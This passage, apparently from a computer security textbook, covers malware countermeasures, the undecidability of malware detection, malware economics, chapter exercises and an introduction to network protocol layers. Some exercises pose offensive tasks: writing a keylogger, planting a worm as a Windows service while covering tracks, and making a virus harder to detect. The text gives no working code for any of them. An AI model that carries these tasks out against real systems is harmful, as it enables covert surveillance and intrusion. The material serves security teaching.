for this software is to take some pictures of the thief in the event that
a user’s computer is stolen, which is clearly a worthwhile application.
But now suppose such computers are laptops owned by a university or
high school that is loaning these computers out to disadvantaged students.
Antitheft imaging software installed on these computers could allow school
administrators to spy on students in their homes through the cameras on
their school laptops. Such a use would likely be a violation of laws on
illegal wiretapping, and, in fact, a school district in suburban Philadelphia
was accused of such a violation in a lawsuit filed in 2010.

Another gray zone concerns companies that provide software or soft-
ware services in exchange for collecting information about a user. For
example, an online email service might perform keyword searches in a
user’s email messages and display advertisements that are matched with
the words used in their messages. For example, an email invitation to a
biking trip might be displayed along with an advertisement for bicycles.
Similarly, a browser toolbar or desktop searching tool might also collect
and communicate information about a user to the company providing
these tools. If the user truly makes an informed consent to allow for such
monitoring and data collection in exchange for the services or software
provided by the company, then this would not be considered spyware. But
if this consent is simply assumed or is buried deep in an unreadable user
agreement, then one could certainly make the argument that the company
has now crossed the line into spyware.
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5 Countermeasures

The success of malware depends on a number of factors, including:

• Diversity. Malware typically targets a vulnerability in a specific sys-
tem, such as a particular web browser or operating system. In order
to infect as many hosts as possible, the vulnerable software must be
widely used. Malware is much more likely to successfully attack
software that is used by the most people, as opposed to software that
is only one of several equally viable options.

• Robustness. If software contains bugs that make it vulnerable to
exploitation, it is naturally more vulnerable to malware attacks. Good
software design and coding practices are essential to protect end users
from such attacks.

• Auto-execution. Code that resides on USB drives, CD ROMs, and
other removable media, as well as web sites, and can run without the
direct approval of a user. Such execution paths can be natural vectors
for malware attacks.

• Privilege. When programs or users are given more privilege than they
need to perform their required tasks, there is a risk that a malware
infection could be leveraged into a privilege escalation, which can
cause further infection and damage.

5.1 Best Practices

There are a number simple precautions that can be used to help protect
systems from malware. For instance, best practices that follow immediately
from the risks embodied in the factors listed above include the following:

• Employ system diversity as much as possible, including the use
of multiple operating systems, document preparation systems, web
browsers, and image/video processing systems. Such use of diversity
can help limit damage from software-specific vulnerabilities, includ-
ing those that would be exploited by zero-day attacks.

• Try to limit software installations to systems that come from trusted
sources, including large corporations, which have to deal with public-
relations nightmares when their software is exploited by malware,
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and popular open-source software foundations, which have “many
eyes” to catch vulnerabilities (or insider attacks).

• Turn off auto-execution. Allowing for auto-execution is a minor
convenience, which is usually not worth the risks it enables. Most
auto-execution actions can easily be performed manually anyway.

• Employ a principle of least privilege for sensitive systems and data
paths. Limiting people and software to just the privileges they need
to perform their work helps to avoid privilege escalation attacks.

Additional Best Practices

In addition, there are number of other best practices to avoid malware
infection and minimize the damage caused by malware. These include the
following:

• Avoid freeware and shareware unless it comes with verifiable guar-
antees about the absence of spyware and/or adware from reputable
sources. Ideally, software should be digitally signed, so that such
guarantees can be enforced and the integrity of the provided software
can be checked using cryptographic hash functions.

• Avoid peer-to-peer (P2P) music and video sharing systems, which are
often hotbeds for adware, spyware, computer worms, and computer
viruses.

• Install a network monitor that blocks the installation of known in-
stances of privacy-invasive software or the downloading of web
pages from known malware web sites.

• Install a network firewall, which blocks the transmission of data
to unauthorized locations, such as computers or email addresses of
spyware sources.

• Use physical tokens, e.g., smartcards, or biometrics
in addition to passwords for authentication, so that
logger can capture the username and password, more
is required to compromise a user’s account.

• Keep all software up-to-date. Computer worms usually don’t require
direct interaction with humans. Instead, they spread by exploiting
vulnerabilities in computers connected to a network. Therefore, the
best way to thwart computer worms is to keep all programs updated
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with the latest security patches. For example, the Morris worm spread
itself by exploiting known vulnerabilities in several Unix systems
programs, including the program that forwards emails (sendmail),
the program that tells who is logged into the computer (finger), and
the program that allows users to login over the network (rsh).

• Avoid weak passwords. This is an often-mentioned best practice, but
it should not be ignored. Incidentally, the Morris worm also exploited
weak passwords, so encouraging users to pick good passwords is
another way to defend against computer worms.

• Use malware-detection and eradication software. The software de-
signers for reputable computer security companies spend a great deal
of time and effort on methods for detecting and eliminating malware
infections. It would be foolish not to benefit from their expertise.

Detecting Malware from its Behavior

Regarding the last of the recommended best practices listed above, we have
already mentioned some of the signature-based methods that are used for
detecting computer virus infections, and similar techniques can be used for
computer worms. In addition, there are several behavioral properties that
can be used to identify and remove malware, such as the following:

• Rootkits necessarily must modify critical operating systems files or
alter memory and/or registry entries.

• Adware needs a method for downloading advertisements and dis-
playing them on a user’s computer screen.

• Data harvesters need to make calls to operating system routines that
read the contents of a large number of files.

• Spyware makes calls to low-level routines to collect events generated
by a user, and it must also periodically communicate its collected data
back to its master.

Thus, an adware/spyware removal tool can look for these behaviors
as indicators that a program is an instance of privacy-invasive software.
Also, as widely-distributed examples of privacy-invasive software become
public, a removal tool can be updated with patterns and signatures that can
identify specific types of infections.
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5.2 The Impossibility of Detecting All Malware

Ideally, it would be great if we could write a program that could detect ev-
ery possible instance of malware, including the polymorphic and encrypted
viruses. Unfortunately, the existence of such a perfect malware-detection
program is impossible.

The argument showing that no such program is possible is based on
the principle of “proof by contradiction,” which allows us to show that
something is impossible because its existence would disprove a fact that we
know to be true. Suppose, for the sake of leading to such a contradiction,
that there is a program, SuperKiller, that can detect all malware, that is, all
programs that act in malicious ways (assuming we could formally define
what this means).

Given the existence of SuperKiller, an especially ingenious malware
writer could write a malware program, UltraWorm, which runs the Su-
perKiller program as a subroutine (e.g., to remove rival malware). But this
also allows for contradictory behavior, because the code for the UltraWorm
would itself be contained in a file that could be given to the SuperKiller
program as input.

Consider what could happen if the UltraWorm gave the subroutine
SuperKiller the code for UltraWorm (itself) as input. If SuperKiller says Ul-
traWorm is not a computer virus, then UltraWorm could replicate itself, do
something malicious, and then terminate. If, on the other hand, SuperKiller
says that UltraWorm is malware, then UltraWorm could terminate without
doing anything more. For example, the pseudocode for such an UltraWorm
could be as follows:

UltraWorm():
if (SuperKiller(UltraWorm) = true) then

Terminate execution.
else

Output UltraWorm.
Do something malicious.
Terminate execution.

Thus, if SuperKiller says that this UltraWorm is malware, then in reality
it is not malware, and if SuperKiller says that UltraWorm is not malware,
then in reality it is. This is clearly a contradiction, because we are operating
under the assumption that SuperKiller works perfectly and detects all
malware, so we must conclude that the SuperKiller program cannot exist.
Therefore, there is no foolproof way to detect all malware.
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Duality, Undecidability, and Related Concepts

The argument above is admittedly more of a proof sketch than an actual
proof that a perfect malware detector is impossible. But this argument can
be made rigorous simply by using a more formal definition of malware
based on a formal model of computation, such as the model of computation
known as a Turing machine. The gist of the formal proof that a perfect
malware detector is impossible would still resemble the argument above,
however, so we will not give such a formal proof here.

In addition to providing a fun, mind-bending moment, the intellectual
exercise above, showing the impossibility of a perfect malware detector,
has a number of practical implications and is related to several interesting
concepts in computer security and computer science in general.

The first we mention is the related concept of duality, which is a central
theme in theoretical computer science. Duality is the property of computer
programs that they exist both as a string of characters—the characters that
describe a program—and as a functioning computation—the actions that
the program performs. In fact, if we think about it, it is precisely because of
duality that computer viruses and worms can exist in the first place! That is,
duality is what enables a program to perform a computation that involves
the replication of the description of that program, so that it can spread. In
addition, duality is also the reason that the fictional program Ultraworm
could perform contradictory actions should a program like SuperKiller
exist.

Another concept related to the discussion above is the fact that testing
a program to see if it is malware is not the only computation that it is
impossible. There are, in fact, many questions about programs that are
undecidable. The most famous such question is that of testing whether
a program will terminate or if it instead goes into an infinite loop. This
question, which is known as the halting problem, is also undecidable, and
the argument that proves this point is similar to that used above to prove
that the SuperKiller program cannot exist. That is, if there is a program,
HaltTester, which can always check if a program will terminate or not,
then we can create a program, Crasher, which feeds itself to the HaltTester
program and goes into an infinite loop if and only if HaltTester says that
Crasher terminates. So Crasher would have an infinite loop if HaltTester
says it doesn’t, and Crasher would terminate if HaltTester says it won’t.
Thus, a program like HaltTester is impossible. Indeed, for related reasons, it
is impossible to test if a program has any nontrivial input-output behavior.
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5.3 The Malware Detection Arms Race

Ironically, the fact that detecting any nontrivial behavior about programs is
impossible actually can also provide a comforting thought to the companies
that manufacture and sell malware-detection software. While it proves that
they will never ultimately succeed in their quest for the perfect malware
detector, it also shows that they will never be put out of business by some
competitor who could create such a program.

The impossibility of perfect malware detection provides a business plan
for malware-detecting companies—keep improving the malware-detection
software to detect most kinds of malware, realizing that you will always
be able to make improvements, because the ultimate goal is impossible.
So an ultra-perfect virus-detection program is impossible, but the software
companies selling malware-detection software can continue to sell ever-
improving versions of their software.

Misuse of Malware-Detection Software

Unfortunately, honest computer users are not the only people buying
malware-detection software from the companies that manufacture it—
computer virus and worm writers are buying this software too! Their use
of virus-detection software is for a more nefarious purpose, however.

At a high level, malware designers use of existing malware-detection
software mimics the way that UltraWorm used the SuperKiller program, in
the discussion given above. These attackers use existing malware-detection
software for quality control.

For example, each time such an attacker writes a new computer virus,
V, he runs the existing malware-detection software on V. If these malware
detectors say that V is a virus, then the attacker will never launch an attack
using V, and, instead, he will head back to his design lab to work on a
new, improved version of V. If, on the other hand, V is not flagged as a
virus by any of the existing malware-detection software packages, then the
attacker will then launch an attack using V. In so doing, the virus writer is
buying his virus time to spread “in the wild” before people discover that it
exists and write new programs to detect and kill it. And so the arms race of
computer viruses and virus-detection programs continues.

Malware

213



5.4 Economics of Malware

Malware is increasing at an alarming rate (see Figure 12). Moreover,
according to several accounts, a prime motivation for the production of
malware is economic. That is, malware can make money for its creator.
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Figure 12: New malicious code signatures. Source: Symantec Corp.

According to a recent report from Symantec Corporation, in examining
fraudulent chat servers, there is an underground economy for fraudulent
tools, services, and products, with some of the following statistics:
• The number one product being advertised on fraudulent chat servers

was credit card information. Number two was bank account informa-
tion. Together these accounted for more than half of the advertised
products and services.

• The total value of all advertised goods and services on the observed
underground economy servers was over $276 million. This does not
include the value of what could be stolen using, say, fraudulent credit
card or bank account information. It is just the advertised value of the
goods and services themselves.

• Attack tools are being sold directly; hence, they have an economic
value to their designers. The average price for a keystroke logger was
$23, for instance. The highest priced attack tool was for botnets, which
had an average price of $225.

Thus, there are strong economic incentives for malware designers to create
malware that can be sold and used by others, to launch spyware attacks
that can gather credit card and bank account information, and to exploit
operating systems vulnerabilities to create botnets.
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6 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 In a salami-slicing attack, a program performs a large number of
small, hardly noticeable malicious actions, which add up to a large
aggregate malicious action. In a classic example, a programmer for
a bank has 1 cent of the monthly interest calculation on each bank
customer’s account transfered into his account. Thus, if the bank
has 1,000,000 customers, then this programmer would get $10,000
each month from this salami slicing attack. What type of malware
is such a program?

R-2 In the Tim Lloyd logic bomb attack on Omega Engineering, what
type of vulnerability was the existence of the user, “12345,” an
example of?

R-3 Viruses that perform no explicit malicious behaviors are called
bacteria or rabbits. Explain how such seemingly benign viruses
can still have negative impacts on computer systems.

R-4 Explain briefly the differences between polymorphic viruses and
metamorphic viruses.

R-5 Describe the main differences between a virus, worm, and Trojan
horse. How are these types of malware similar?

R-6 Bobby says that a computer virus ate his homework, which was
saved as a Word document. What kind of virus is the most likely
culprit?

R-7 Dwight has a computer game, StarGazer, which he plays at work.
StarGazer has a secret feature—it pops up an image of a spread-
sheet on the screen any time he hits Shift-T on his keyboard, so that
it looks like the user is actually working. Dwight uses this feature
any time his boss walks by while he is playing StarGazer. What is
this “feature” of StarGazer called?

R-8 There was an email joke chain letter that called itself the Amish
virus. It stated that its author had no computer available in order to
write it; hence, it can’t run as an executable program or document
macro. Instead, it asked the recipient to forward the Amish virus to
several friends and then randomly delete some files on his or her
hard drive. Is the Amish virus a true email virus? Why or why
not?
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R-9 Explain why a spyware infection that collects mouse moves and
clicks without also performing screen captures would not be very
useful for a malware author to implement.

R-10 Explain why it is often beneficial for an adware author to include
spyware in his adware.

R-11 Jack encrypts all his email and insists that everyone who sends him
email encrypt it as well. What kind of spyware attack is Jack trying
to avoid?

R-12 Pam’s boss, Alan, says that she needs to write her software so that
it is protected against the security risks of today and tomorrow.
How is this even possible, given that we don’t even know what the
security risks of tomorrow are?

R-13 Eve installed some spyware software on 100 USB flash drives and
has designed this software to autoload from these drives along
with some nude photos. She then painted the logo of a well-known
adult magazine on each one and randomly scattered these flash
drives in the parking lots of several of the big defense companies
in her town. What type of malware attack is this and what vulner-
ability is she trying to exploit in order to get her malware code past
the network firewalls of these companies?

R-14 XYZ Company has just designed a new web browser and they
are initiating a major marketing campaign to get this browser to
become the exclusive browser used by everyone on the Internet.
Why would you expect a reduction in Internet security if this
marketing campaign succeeds?

R-15 What would be the financial advantage for a malware designer to
create lots of different malicious code instances that all exploit the
same vulnerability yet have different malware signatures?

R-16 Your boss just bought a new malware-detection software program
from the ABC Security company for his home computer for $1,000.
He says that it was worth the cost, because it says right on the box
that this program will “detect all computer viruses, both now and
in the future, without any need for updates of virus descriptions.”
What should you tell your boss?

Creativity

C-1 Explain why any computer worm that operates without human
intervention is likely to either be self-defeating or inherently de-
tectable.
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C-2 Describe a malware attack that causes the victim to receive physical
advertisements.

C-3 You are given the task of detecting the occurrences of a polymor-
phic virus that conceals itself as follows. The body, C, of the virus
code is obfuscated by XORing it with a byte sequence, T, derived
from a six-byte secret key, K, that changes from instance to instance
of the virus in a random way. The sequence T is derived by merely
repeating over and over the given key K. The length of the body
of the virus code is a multiple of six—padding is added otherwise.
Thus, the obfuscated body is T ⊕ C, where T = K||K|| · · · and ||
denotes string concatenation. The virus inserts itself to the infected
program at an unpredictable location.
An infected file contains a loader that reads the key K, unhides
the body C of the virus code by XORing the obfuscated version
with the sequence T (derived from K), and finally launches C. The
loader code, key K, and the obfuscated body are inserted at random
positions of infected programs. At some point of the execution of
the infected program, the loader gets called, which unhides the
virus and then executes it. Assume that you have obtained the
body C of the virus code and a set of programs that are suspected
to be infected. You want to detect the occurrences of this virus
among the suspected programs without having to actually emulate
the execution of the programs. Give an algorithm to do this in
polynomial time in the length of the program. Assume that the
loader of the virus is a short piece of code that can be commonly
found in legitimate programs. Therefore, it cannot be used as a
signature of our virus. Hence, looking for the loader is not an
acceptable solution. Remember, the loader is in binary, and as such,
extracting information from it is nontrivial, i.e., wrong.

C-4 Suppose there is a new computer virus, H1NQ, which is both poly-
morphic and metamorphic. Mike has a new malware-detection
program, QSniffer, that is 95% accurate at detecting H1NQ. That is,
if a computer is infected with H1NQ, then QSniffer will correctly
detect this fact 95% of the time, and if a computer is not infected,
then QSniffer will correctly detect this fact 95% of the time. It turns
out that the H1NQ virus will only infect any given computer with a
probability of 1%. Nevertheless, you are nervous and run QSniffer
on your computer, and it unfortunately says that your computer is
infected with H1NQ. What is the probability that your computer
really is infected?

C-5 Like a computer virus, a quine is a computer program that copies
itself. But, unlike a virus, a quine outputs a copy of its source code
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when it is run, rather than its object code. Give an example of a
quine in Java, C, or some other high-level language.

C-6 In accepting the ACM Turing Award, Ken Thompson described a
devious Trojan horse attack on a Unix system, which most people
now refer to as Thompson’s rigged compiler. This attack first
changes the binary version of the login program to add a backdoor,
say, to allow a new user, 12345, that has password, 67890, which
is never checked against the password file. Thus, the attacker can
always login to this computer using this username and password.
Then the attack changes the binary version of the C compiler, so
that it first checks if it is compiling the source code for the login
program, and, if so, it reinserts the backdoor in the binary version.
Thus, a system administrator cannot remove this Trojan horse sim-
ply by recompiling the login program. In fact, the attack goes a
step further, so that the C compiler also checks if it is compiling the
source code of the C compiler itself, and, if so, it inserts the extra
code that reinserts the backdoor for when it is compiling the login
program. So recompiling the C compiler won’t fix this attack either,
and if anyone examines the source code for the login program or
the C compiler, they won’t notice that anything is wrong. Now
suppose your Unix system has been compromised in this way
(which you confirm by logging in as 12345). How can you fix
it, without using any outside resources (like a fresh copy of the
operating system)?

C-7 Discuss how you would handle the following situations:
(1) You are a system administrator who needs to defend against
self-propagating worms. What are three things you can do to make
your users safer?
(2) You have a suspected polymorphic virus. What are some steps
you can take to correctly identify when you are being infected or
propagating it?
(3) You suspect you may have a rootkit installed on your system
that is telling the music company whether or not you are violating
copyright with an audio CD you recently bought. How might you
detect this intrusion without using any outside tools?
(4) If you are a virus writer, name four techniques you would use
to make your virus more difficult to detect.

C-8 Suppose you want to use an Internet cafe to login to your personal
account on a bank web site, but you suspect that the computers in
this cafe are infected with software keyloggers. Assuming that you
can have both a web browser window and a text editing window
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open at the same time, describe a scheme that allows you to type in
your userID and password so that a keylogger, used in isolation of
any screen captures or mouse event captures, would not be able to
discover your userID and password.

C-9 Suppose that a metamorphic virus, DoomShift, is 99% useless bytes
and 1% useful bytes. Unfortunately, DoomShift has infected the
login program on your Unix system and increased its size from
54K bytes to 1,054K bytes; hence, 1,000K bytes of the login program
now consists of the DoomShift virus. Barb has a cleanup program,
DoomSweep, that is able to prune away the useless bytes of the
DoomShift virus, so that in any infected file it will consist of 98%
useless bytes and 2% useful bytes. If you apply DoomSweep to the
infected login program, what will be its new size?

C-10 Each time a malware designer, Pierre, sells a product on a chat
server in the underground economy for fraudulent products and
services, there is a chance that he will get caught and be fined by
law enforcement officials. Suppose the probability that Pierre will
get caught because of any one sale of malware is p, and this value
is known to both Pierre and the law enforcement officials. What
should be the minimum fine for selling a keystroke logger so that
it is not worth the effort for a rational malware designer like Pierre
to sell it? What about the minimum fine for selling a botnet?

Projects

P-1 You want to maliciously infiltrate someone’s computer and make
it patient zero for your new worm. There are a few ways you could
plant your first computer disease vector. You have physical access
to your target’s computer, but no tools or methods to get access
to any passwords. It is a Windows XP machine. Your only tool is
EBCD (http://ebcd.pcministry.com/) and you must evade detection,
lest you be caught for your dastardly deeds. How will you com-
plete the following steps for your master plan:
(1) Gain administrative access?
(2) Add your worm as a service in Windows?
(3) Cover your tracks so it does not show up in log files or other
telltale clues?

P-2 Write a software keylogger and test it while you fill out a web
form or type in the contents of a document using your favorite
document preparation software. If the operating system of your
computer supports both keyboard listening events and keyboard
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polling, write two versions of your keylogger and compare their
respective computational overheads.

P-3 Write a simulator that can track how a computer worm propagates
in a network of 1 million computers, such that n of these computers
are vulnerable to this particular worm. In each step of the simu-
lation, each infected computer randomly picks d other computers
and tries to infect them. If a computer is attacked, then it is infected
only if it is vulnerable. And if an infected computer is attacked, it
will be reinfected according to a random reinfection probability, p.
Run a number of experimental simulations for various values of
the parameters n, d, and p, including the cases p = 0, p = 1/2,
and p = 1, keeping track of how many infections and reinfections
occur on each vulnerable computer, as well as the total numbers of
each category of vulnerable computer. Try to find parameter values
that cause the worm propagation to die out after a few rounds
without infecting all the vulnerable computers and also try to find
parameter values that cause the worm to overload the vulnerable
computers to a point of saturation.

P-4 Write a term paper that discusses the business model for adware.
Use articles you can find on the Internet, say, from Google Scholar,
as source material for this paper. Include in your paper the risks,
benefits, and costs for advertisers, adware designers, and the peo-
ple who run adware servers.

Chapter Notes

Fred Cohen initiated the formal study of computer viruses and showed the un-
decidability of virus detection [17]. The book by Peter Szor gives a detailed
coverage of computer viruses, including advanced detection techniques [99]. A
sophisticated model of worm spreading, motivated by the analysis of Code Red
propagation, is provided by Zou, Gong, and Towsley [113]. Methods for building
and detecting rootkits are provided in the book by Hoglund and Butler [40]. The
data for Figure 12 comes from the April 2009 Internet Security Threat Report, by
Symantec Corporation. The discussion on the economics for malware is based
on the November 2008 Symantec Report on the Underground Economy, by Symantec
Corporation.
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1 Network Security Concepts

The Internet was originally conceived, during the Cold War, as a way of
creating a communication network that was robust enough to survive a mil-
itary attack. For this reason, rather than basing communication on switched
paths that connect communicating parties, the Internet was designed so
that communication occurs through sequences of data packets. A data
packet is a finite-length set of bits, which is divided into two parts: a header,
which specifies where the packet is going and contains various overhead
and bookkeeping details, and a payload, which is the actual information
that is being communicated. So if two entities wish to communicate using
the Internet, they must chop their messages into packets, attach a header
on the front of each one, and then have those packets find their way
through the Internet to reach their respective destinations. In this chapter,
we explore the underlying technologies that make the Internet possible,
including its security risks and some defense mechanisms.

1.1 Network Topology

A network’s connection structure is known as its network topology. The
computers in a network are host nodes that can be sources and destinations
of messages, and the routers in the network are communication nodes
through which messages flow. (See Figure 1.) The physical connections
between nodes define the channels through which messages travel, so that
packets move by being passed from one node to the next in order to get
from their source node to their destination node.

A private network composed of computers in relatively close proximity
to each other is known as a local area network, or LAN. In contrast, the
Internet is what is referred to today as a wide area network, or WAN,
composed of many machines and smaller networks spread out over great
distances. In addition, the routers in wide-area networks on the Internet
are partitioned into clusters, which are called autonomous systems (ASs).
Each autonomous system is controlled by a single organizational entity,
which determines how packets will be routed among the nodes in that AS.
Typically, this routing within an AS is done using shortest paths, so that the
number of hops to route a packet from one node to another in this AS is
minimized and routing cycles are avoided. The routing between multiple
ASs, on the other hand, is determined by contractual agreements, but it is
still designed to avoid loops.
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Network

Figure 1: A computer network composed of host nodes (shown as com-
puters on the periphery) and communication nodes (shown as routers in
the interior).

1.2 Internet Protocol Layers

Before delving into the wide range of security issues the Internet creates,
it is important to understand the underlying building blocks that comprise
it. The architecture of the Internet is modeled conceptually as being parti-
tioned into layers, which collectively are called the Internet protocol stack.
Each layer provides a set of services and functionality guarantees for higher
layers and, to the extent possible, each layer does not depend on details or
services from higher levels. Likewise, the interface each layer provides to
higher levels is designed to provide only the essential information from this
layer that is needed by the higher levels—lower-level details are hidden
from the higher levels. The exact number and names of the layers of the
Internet protocols vary slightly, but is usually five or seven, depending on
what source we consider as authoritative.
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Five Conceptual Layers for Internet Communication

The following division into five layers is fairly standard.

1. Physical layer. The task of the physical layer is to move the actual
bits between the nodes of the network, on a best effort basis. For
example, this level deals with details related to whether connections
are done with copper wires, coaxial cables, optical-fiber cables, or
wireless radio. The abstraction it provides to the next higher level
is an ability to transmit bits between a pair of network nodes.

2. Link layer. The task of the link layer is to transfer data between a pair
of network nodes or between nodes in a local-area network and to
detect errors that occur at the physical layer. This layer, for instance,
deals with the logical aspects of sending information across network
links and how to find good routing paths in a local-area network. It
includes such protocols as Ethernet, which is used to route packets
between computers sharing a common connection. The link layer
provides a grouping of bits into ordered records, called frames. The
link layer uses 48-bit addresses, called media access control addresses
(MAC addresses).

3. Network layer. The task of the network layer, which is also known
as the Internet layer for the Internet, is to provide for the moving of
packets between any two hosts, on a best effort basis. It provides
a way of individually addressing each host using a numerical label,
called its IP address. The main protocol provided by this layer is the
Internet Protocol (IP), which is subdivided into a version 4 (IPv4),
which uses 32-bit IP addresses, and a version 6 (IPv6), which uses
128-bit IP addresses. Best effort basis means there are no guarantees
that any given packet will be delivered. Thus, if reliable delivery is
required by an application, it will have to be provided by a higher
layer.

4. Transport layer. The task of the transport layer is to support commu-
nication and connections between applications, based on IP addresses
and ports, which are 16-bit addresses for application-level protocols
to use. The transport layer provides a protocol, the Transmission Con-
trol Protocol (TCP), which establishes a virtual connection between a
client and server and guarantees delivery of all packets in an ordered
fashion, and a protocol, the User Datagram Protocol (UDP), which
assumes no prior setup and delivers packets as quickly as possible
but with no delivery guarantees.
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5. Application layer. The task of the application layer is to provide
protocols that support useful functions on the Internet, based on the
services provided by the transport layer. Examples include HTTP,
which uses TCP and supports web browsing, DNS, which uses UDP
and supports the use of useful names for hosts instead of IP addresses,
SMTP and IMAP, which use TCP and support electronic mail, SSL,
which uses TCP and supports secure encrypted connections, and
VoIP, which uses UDP and supports Internet telephone messaging.

The Open Systems Interconnection (OSI) model differs slightly from
that above, in that it has seven layers, as the application layer is divided
into a strict application layer, for host application-to-network processes, a
presentation layer, for data representation, and session layer, for interhost
communication. We will use the five-layer model in this text, however,
which is called the TCP/IP model, so as to focus on the security issues of
the Internet. A packet for a given layer in this model consists of the data to
be transmitted plus metadata providing routing and control information.
The metadata is stored in the initial portion of the packet, called header and
sometimes also in the final portion of the packet, called footer. The data
portion of the packet is referred to as the payload. For all but the topmost
layer, the payload stores a packet of the layer immediately above. This
nesting of packets is called encapsulation and is illustrated in Figure 2.
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Figure 2: Packet encapsulation in the link, network, transport, and appli-
cation layers of the Internet protocol stack. Each packet from a higher layer
becomes the data for the next lower-layer packet, with headers added to
the beginning, and, for frames, a footer added at the end.
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Using the Internet Protocol Suite

The Internet Protocol stack provides a useful set of functions and abstrac-
tions that make the Internet possible, but we should point out that these
functions and abstractions were, for the most part, designed during a time
when the Internet was almost exclusively populated by people with no
malicious intent. A challenge for today, then, is to figure out ways of
building in security and safeguards into Internet protocols, which is the
main theme of the remainder of this chapter and the next.

The layered model used for the Internet Protocol Suite helps system
designers to build software that uses appropriate services and provides
the right service guarantees, without troubling with unnecessary imple-
mentation details. For example, a web server transmitting content to a
client’s web browser would probably do so using the HTTP application-
layer protocol. The HTTP packet would most likely be encapsulated in the
payload of a TCP transport-layer packet. In turn, the TCP packet would be
contained in the payload of an IP packet, which in turn would be wrapped
in an appropriate link-layer protocol such as Ethernet, to be transferred
over a physical means of transmission. (See Figure 3.)
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Figure 3: Connections and communication needed to send data from a
host through two routers to another host.
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1.3 Network Security Issues

Connecting computers to a network, like the Internet, so they can exchange
data and share computations allows for huge benefits to society. Indeed, it
is hard to imagine what life today would be like without the Internet. But
computer networking also allows for a number of attacks on computers and
information. So let us revisit some of the principles of computer security,
focusing now on how they are impacted by computer networking.

How Networking Impacts Computer Security Goals

• Confidentiality. There is no requirement, in any of the layering
abstractions discussed above, that the contents of network packets
be kept confidential. In fact, standard protocols for each layer don’t
encrypt the contents of either their headers or their data. Thus, if net-
work communications should be kept confidential, then encryption
should be done explicitly. This encryption could either be done at the
application layer (as in the HTTPS protocol) or by revising a lower-
layer protocol to include encryption, such as in the IPsec specification.

• Integrity. The headers and footers that encapsulate data packets
have, at each layer, simple checksums to validate the integrity of
data and/or header contents. These checksums are effective at de-
termining if a small number of bits have been altered, but they are
not cryptographically secure, so they don’t provide integrity in the
computer security sense. Thus, if true integrity is required, then
this should also be done at the application layer or with alternative
protocols at lower layers.

• Availability. The Internet was designed to tolerate failures of routers
and hosts. But the sheer size of the Internet makes availability a
challenge for any network object that needs to be available on a 24/7
basis. For instance, web servers can become unavailable because they
become bombarded with data requests. Such requests could come
from hoards of legitimate users suddenly interested in that web site or
from an attack coming from many compromised hosts that is meant to
create a denial of service for the web site. Thus, to achieve availability
at the scale of the Internet, we need network applications that can
scale with increases in communication requests and/or block attacks
from illegitimate requests.
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• Assurance. As a default, a packet is allowed to travel between any
source and destination in a network. Thus, if we want to introduce
permissions and policies that control how data flows in a network,
these have to be implemented as explicit additions. For instance,
network firewalls are designed to block traffic in and out of a network
domain if that traffic violates policies set by administrators.

• Authenticity. The headers and footers for the standard Internet pro-
tocols do not have a place to put digital signatures. Indeed, in the
Internet Protocol stack, there is no notion of user identities. Data is
exchanged between machines and processes, not people. Thus, if we
want to introduce identities and allow for signatures, then we must
do so explicitly at the application layer or with an alternative protocol.

• Anonymity. Since there is no default notion of identity of users of
the Internet, it has a built-in anonymity. This anonymity is probably
a good thing for a human rights worker reporting on abuses, but it’s
probably bad if it lets an identity thief steal credit card numbers with-
out being caught. Attacks on anonymity can come from technologies
that identify the computer a person is using. Likewise, people can
replicate many copies of a process and place these copies at multiple
hosts in the network, thus achieving a level of anonymity.

We illustrate some network attacks against these principles in Figure 4.

Denial‐of‐Service Man‐in‐the‐Middle

Eavesdropping Masquerading
Victim Network

Figure 4: Some network-based attacks.
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2 The Link Layer

Most modern operating systems include a TCP/IP implementation and
allow programs to interact with the Internet Protocol stack via a simple
interface. Operating system libraries include support for the upper levels
of the TCP/IP stack, including the passing of data to physical-layer device
drivers, starting with the link layer, which is right above the physical layer
and provides a concept of grouping sequences of bits into frames.

2.1 Ethernet

One of the most popular ways to transmit Internet traffic is Ethernet,
which refers to both the physical medium used (typically a cable) as well
as the link-layer protocol standardized as IEEE 802.3. When a frame is
transmitted on an Ethernet cable, an electrical impulse is sent through that
cable and received by other machines that are logically connected to that
cable on the same local-area network (LAN). The portion of a local-area
network that has the same logical connection is called a network segment.
If two machines on the same network segment each transmit a frame at
the same time, a collision occurs and these frames must be discarded and
retransmitted. Fortunately, the Ethernet protocol can deal with such events
using a random-wait strategy. (See Figure 5.)

Wait 24 microsecondsWait 24 microseconds
Wait 102 microseconds

Wait 77 microseconds

Wait 43 microseconds

Figure 5: An Ethernet collision and how it is handled.
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Dealing with Collisions

In the event of a collision, each of the transmitting machines waits a random
amount of time, usually measured in microseconds, and then retransmits,
in the hope of avoiding a second collision. If other collisions occur, then this
process of randomly waiting and retransmitting is repeated. The Ethernet
protocol is designed so that eventually every machine in a network segment
will succeed in transmitting its frame. Incidentally, this collision resolution
protocol was originally needed even for two machines connected by a
single (coaxial) cable, since such cables are not bidirectional, but modern
network cables can transmit data in both directions, so this collision resolu-
tion process only applies to network segments that contain more than two
machines. That is, two machines connected by a modern Ethernet cable
can send and receive messages without accounting for the possibility of
collisions. But packet collisions can nevertheless become a major source of
slowdown for local-area networks if there are larger numbers of machines
logically connected to each other. Indeed, this can already be an issue with
home networks, since it is not uncommon for such networks to include
several computers, a couple of network printers, and at least one Wi-Fi
access point. So, even for a home network, it is useful to know how to
connect machines so as to minimize collisions.

Hubs and Switches

The simplest way to connect machines in a local-area network is to use an
Ethernet hub, which is a device that logically connects multiple devices
together, allowing them to act as a single network segment. Hubs typi-
cally forward all frames to all attached devices, doing nothing to separate
each attached device, much like a splitter used to double the audio signal
from an MP3 player. Thus, the machines that are connected to a hub,
or a set of connected hubs, form a single network segment and must all
participate in the Ethernet collision resolution protocol. Hubs may generate
large amounts of unnecessary traffic, since each frame is duplicated and
broadcast to all the machines connected on the same network segment.
In addition, the fact that all frames are forwarded to each machine in
the segment, regardless of the intended destination, increases the ease of
network eavesdropping, as discussed in Section 3.4.

Fortunately, there is a better way to connect machines in a small local-
area network—namely, to use an Ethernet switch. When devices are first
connected to an Ethernet switch, it acts much like a hub, sending out
frames to all connected machines. Over time, however, a switch learns the
addresses of the machines that are connected to its various ports. Given
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this address information, a switch will then only forward each frame it
receives along the cable it knows is connected to the destination for that
frame. Even so, if a frame is designated as one that should be broadcast to
all the machines on a network segment, a switch will still act like a hub and
send that frame out to all its connected machines.

The selectivity that comes from a switch learning the addresses of the
machines it connects reduces the possibilities for collisions and increases
the effective speed of the network, that is, its effective bandwidth. In ad-
dition, a switch reduces the risks of network eavesdropping, since network
